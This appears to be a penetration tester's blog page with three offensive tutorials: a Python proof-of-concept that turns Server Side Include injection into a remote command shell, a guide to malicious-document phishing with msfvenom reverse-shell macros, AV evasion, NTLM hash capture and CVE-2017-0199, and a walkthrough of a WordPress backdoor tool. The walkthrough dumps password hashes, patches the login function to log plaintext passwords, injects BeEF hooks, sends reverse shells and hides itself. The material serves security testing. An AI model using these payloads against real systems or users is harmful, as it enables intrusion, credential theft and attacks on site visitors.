Category: Vulnerability

Exploiting Server Side Include Injection


Recently I was performing a penetration test and came across a Server Side Include injection bug (SSI).  If you are familiar with cross-site scripting (XSS) this type of vulnerability will sound familiar.  This is caused by an application taking input form the user, and supplying it in the response from the server.  The mitigations are the same for XSS, sanitize/encode data before returning it. Consider using white-listed values.

Where this is different than XSS is that in the case of SSI injection, the use supplied data doesn’t just end up in the HTML returned to the user, it ends up being evaluated by the server itself.  Here is some code that is similar to what I had found:

First the $name parameter was populated by a POST variable supplied by the user:

$name = $_POST['name'];

And below in the code the value that the user provided is reflected back within the application response.

<input name="name" value="<?php if (isset($name)) { echo $name; } ?>

Likely the developer did this because they wanted to refill the form for the user if they made a mistake and needed to resubmit the form.

The Apache documentation on SSI shows how to use a server side include. Note the portion under executing commands:

“You can actually have SSI execute a command using the shell (/bin/sh, to be precise – or the DOS shell, if you’re on Win32).”

The syntax is simple:

<!--#exec cmd="COMMAND" -->

If we were to supply something similar within the name parameter, our server side include would be executed and then be returned in the response.

In the default configuration,  web servers won’t have SSI enabled, or won’t allow for the exec command.  Some applications will have a legitimate need to use SSI, and developers/admins will enable this functionality.

Here is some PoC code to exploit this issue:

import requests
while True:
    cmd = raw_input('shell> ')
    payload = "MAGIC<!--#exec cmd='%s' -->MAGIC" % (cmd)
    r = requests.post("URL", data = {"name": payload})
    delimiter = 'MAGIC'
    output = r.text.split(delimiter, 2)[1]
    print output
  1. Import the requests library to interact via HTTP
  2. Start an infinite loop
  3. Take in a string to be executed as a command
  4. Craft the payload.  This is an include tag that will exec the supplied string from line 3
  5. Send the payload in an HTTP POST within the “name” parameter
  6. Define the delimiter.  This will be used to identify the command output within the response
  7. Split the response and set the “output” variable to only contain the command output
  8. Print the output to the screen

This creates a type of “pseudo-shell” that we can use to interact with the web server.  We won’t be able to do anything interactive or change directories, but we can send any OS command to the server and receive the output.


Phishing with Maldocs

 

There are many ways to run a phishing campaign.  The most common of them all is a typical credential harvesting attack, where the attacker sends an email to the target enticing them to click a link to a spoofed website.  Running these campaigns are fairly straight forward, and a couple of tools make this very easy to do.  The most common of all is likely the Social Engineer Toolkit.  SET works great for cloning an existing website and setting up a PHP form to collect credentials.  While this technique is very effective, it may also be a good choice to perform phishing attacks with malicious documents.

Macro Attacks

The most common Maldoc is a malicious Microsoft Word document.  Typically these will contain embedded Macros which execute a payload when opened.  Because of this, modern Windows will usually display two prompts that the user must click through before the payload is executed.  Typically they must click “Enable Content” and the subsequently click “Enable Macros”.

There a quite a few ways you can generate these.  The most simple way is with Metasploit.  As documented here, all you need to do is use msfvenom to generate some malicious visual basic code like so:

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=8080 -e x86/shikata_ga_nai -f vba-exe

And then paste it into the Visual Basic Editor.

Set up a listener in the Metasploit framework and wait for the user to enable macros.

msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.101; set LPORT 8080; run; exit -y"

While you can use multiple encoding types, this attack is likely to get caught by Anti-Virus.

You can use other tools besides msfvenom to generate the VBA code required for the Macro.  You can also use Unicorn by TrustedSec. To generate the payload use:

python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443 macro

And you can catch the meterpreter shell with the same listener you would use with the msfvenom payload.

OLE Attack

If you like Powershell Empire more than Metasploit, Empire also has a stager for office macros. Enigma0x3 has a good blog post on how to do this.  Also notable is the OLE attack.  Instead of using a macro to execute a payload, you can embed a file within the document itself.  By changing the icon, you may be able to trick the user into executing a bat file which contains a malicious payload.  This attack is also documented in the same blog post.  This attack will prompt the user before executing payload as seen below:

AV Bypass

Because of the success of the Macro attack method, AV vendors have been quick to adapt.  If AV is causing an issue, there are a few more tools that you can use to avoid detection.  LuckyStrike is a tool that was released at DerbyCon 2016.  The author has a lengthy blog post on this tool that is well worth the read.  LuckyStrike contains a bunch of obfuscation methods to avoid detection and can even go as far as encrypting the payload ensuring that AV sandbox will never be able to execute it for dynamic analysis.

If Software Restriction Policies or EMET are what is keeping you down, wePWNise might be the tool for you.  As MRWLabs explains it on thier website, “It collects information through enumeration of relevant parts of the Registry where various policy security settings are stored, and identifies suitable binaries which are safe to inject code into.”

Capturing Hashes

Now to get into the more exotic methods.  A very novel way of capturing NTLM hashes is with a tool named WordSteal. The way WordSteal works is by embedding a reference to a file hosted on a malicious SMB server.  When the document is opened, the client will try to connect to the SMB server without any user interaction.  This will capture an NTLM handshake and can be sent to a password cracker just as you would do if you were running Responder within the local network.  The biggest caveat here is that the client network must be able to initiate SMB connections outbound.  This means that they must not be any egress rule blocking port 445.  This is not always the case, but if it goes through this is a good way to collect hashes as the user does not have to do anything other than open the document.  If you are able to crack domain credentials, there is a good chance you can use Microsoft Outlook to execute a payload within the target environment as described in my blog post here: From OSINT to Internal – Gaining Access from outside the perimeter

This attack requires a malicious SMB server.  Fortunately, we can stand this up quite easily by using Metasploit.  Just run the following module:

use auxiliary/server/capture/smb

And it will output any handshakes that it captures.

Metasploit has the option of outputting this data in a format you can send to Cain and Abel or John the Ripper.

Prompting for credentials

Phishery is another great tool for non-traditional credential harvesting. Phishery is written in Go, and pre-compiled binaries are available here.  The way Phishery works is by using HTTP Basic Authentication delivered over SSL.  This tool is very easy to use, although to bypass the warnings to the end user you will need to set up a domain with a proper SSL certificate, or they will see this:

After clicking “Yes” or bypassing it all together with a valid certificate, the user will receive an authentication prompt.

If they enter their credentials, you will see them posted back to the listening server.

Exploits

While all these require some level of social engineering, you can also exploit the target with an exploit.  Recently CVE-2017-0199 was disclosed by FireEye after it had been found in the wild. This exploit targets RTF files opened with Microsoft Word. MDSec had published a blog post on how to exploit it, and a blogger wrote a step-by-step set of instructions to create a working exploit.

If you don’t want to do this manually, there is also a toolkit published on GitHub for exploiting this. It can create the RTF file, host the HTA payload, and host an exe that is executed by the HTA file.  The only other things you need to make it work are msfvenom and Metasploit, although with some minor modifications it could be used to deliver any other payload as well, such as a Powershell Empire stager.

At the time of this writing, there is a Metasploit module in development for this attack.  A pull request has been opened, and will likely be merged into the main branch soon.


Squeezing the juice out of a compromised WordPress server

During the course of a penetration test, you may stumble upon a web server running WordPress.  WordPress is a highly popular CMS.  It runs on PHP, and is typically ran on top of a LAMP stack.  While most WordPress servers on the web are configured with strong passwords and security plugins, rarely is this the case on internal networks.  For this reason, attackers can often find vulnerabilities in outdated versions of the software or more simply, guess the administrative password. Once you guess the password, there are a number of different things you can do to pivot to other systems.  Aside from escalating privileges, you can use WordPress itself to launch a number of other attacks against clients.

For these examples, I’m going to be using my own tools that I developed for exploiting WordPress.  While WPScan is arguably the best WordPress security tool, my tool WPForce, has a couple of advantages that we can make use of.  Unlike WPScan, which performs brute force login attempts agains the login page of WordPress, WPForce uses authenticated API calls to test the validity of credentials.  While most security plugins are wise to this method, it does provide slightly more stealth.

After identifying valid credentials, a companion script in the WPForce suite – Yertle, can be used to upload a backdoor onto the WordPress server and execute a number of post exploitation modules.

Running Yertle is relatively simple, just supply the URL, username, password, and type of backdoor.  While there are two types of backdoors available for upload, I prefer the –interactive option.

Once you run the script the tool will login into the WordPress site and upload a plugin.  If at any time you want to access this backdoor again, just supply the -e argument with the name of the upload directory. This plugin will take commands similar to SQLmap‘s os-shell.  To see the available modules, you can just type “help” or “?”.

os-shell> help

Core Commands
=============

Command                   Description
-------                   -----------
?                         Help menu
beef                      Injects a BeEF hook into website
exit                      Terminate the session
hashdump                  Dumps all WordPress password hashes
help                      Help menu
keylogger                 Patches WordPress core to log plaintext credentials
keylog                    Displays keylog file
meterpreter               Executes a PHP meterpreter stager to connect to metasploit
quit                      Terminate the session
shell                     Sends a TCP reverse shell to a netcat listener
stealth                   Hides Yertle from the plugins page

One of the useful post exploitation modules you can run is hashdump.  What hashdump will do is log into the SQL database, query the table containing the password hashes, and return the output.  You can then crack these hashes, and begin trying to use these credentials to move laterally to other systems.

os-shell> hashdump
ID: 1  - Username: admin  Password: $P$BAgwF1u99OZU1iqTgTIrUmBbtIjRMu1  Email: Quaoar@localhost.com
ID: 2  - Username: wpuser  Password: $P$BdcZZVb0ssMccLU1ECFCtUihocqQ0S.  Email: wpuser@localhost.com
ID: 3  - Username: n00py  Password: $P$B0mYQT38IOJtOr/nl4dchdqgCrxsG/.  Email: n00py@protonmail.com

os-shell>

Not only can we collect the hashes, but we can collect plaintext credentials too.  By patching a PHP file within the WordPress core, we can log all passwords in plaintext as the user authenticates.

os-shell> keylogger
This module modifies files within the WordPress core.  Would you like to continue? (Y/n) Y
wp_signon function patched.  Do not run this more than once.  Use 'keylog' to check the log file.
os-shell>

After a warning letting the user know modifications will be made to the WordPress core, the authentication function is patched.

After waiting for a user to login, we can check the log file by typing “keylog” to see the plaintext credentials.

os-shell> keylog
2017-03-30 - Username:  && Password:
2017-03-30 - Username: n00py && Password: thisisalsomynetworkpassword

Moving away from credential harvesting but staying within the realm of client attacks, we can also inject a BeEF hook into the site.  This will allow the attacker to run arbitrary JavaScript against any users browsing the site.

os-shell> beef
This module modifies files within the WordPress core.  Would you like to continue? (Y/n) Y
IP Address: 10.0.1.16
BeEF hook added!  Check BeEF for any hooked clients. Do not run this multiple times.

After injecting the hook, we just wait for a user to browse the site.  Once the user browses the site, they become “hooked”.  At this point we can send any JavaScript payload we want.  BeEF contains a large number of attacks that can be launched against a client.

Demo payload being executed within the client’s browser:

As useful as these modules are, you may want to pivot to another type of shell.  Two options are available: a regular reverse TCP shell, and a PHP meterpreter shell.   To upgrade to a fully interactive shell, just run:

os-shell> shell
IP Address: 10.0.1.4
Port: 8080
Sending reverse shell to 10.0.1.4 port 8080
os-shell>

And listen on the chosen port to receive the shell:

root@Kali:~/WPForce$ nc -l 8080
bash: no job control in this shell
www-data@Quaoar:/var/www/wordpress/wp-content/plugins/aekpmsu$

If you wish to have a meterpreter shell, load up metasploit and run:

os-shell> meterpreter
IP Address: 10.0.1.4
Port: 4444
Sending meterpreter stager to connect back to 10.0.1.4:4444
os-shell>

And receive the meterpreter shell within metasploit:

[*] Started reverse handler on 10.0.1.4:4444
[*] Starting the payload handler...
[*] Sending stage (33068 bytes) to 10.0.1.21
[*] Meterpreter session 1 opened (10.0.1.4:4444 -> 10.0.1.21:60763) at 2017-03-29 20:49:16 -0600

Lastly, there are a couple ways to be more stealthy when using this tool.  By default, this module registers itself as a plugin within WordPress, and this plugin is visible to an administrator.

To remove the backdoor from the plugin screen, simple run the command “stealth”.  The backdoor will still be accessible, it just will not be visible within the UI.

os-shell> stealth

It is also worth mentioning that Yertle will send the user agent “Yertle backdoor uploader” by default, but can be overridden with the -a flag.  In my experience, this User Agent was causing my IP to be instantly banned when testing against web severs utilizing an IPS.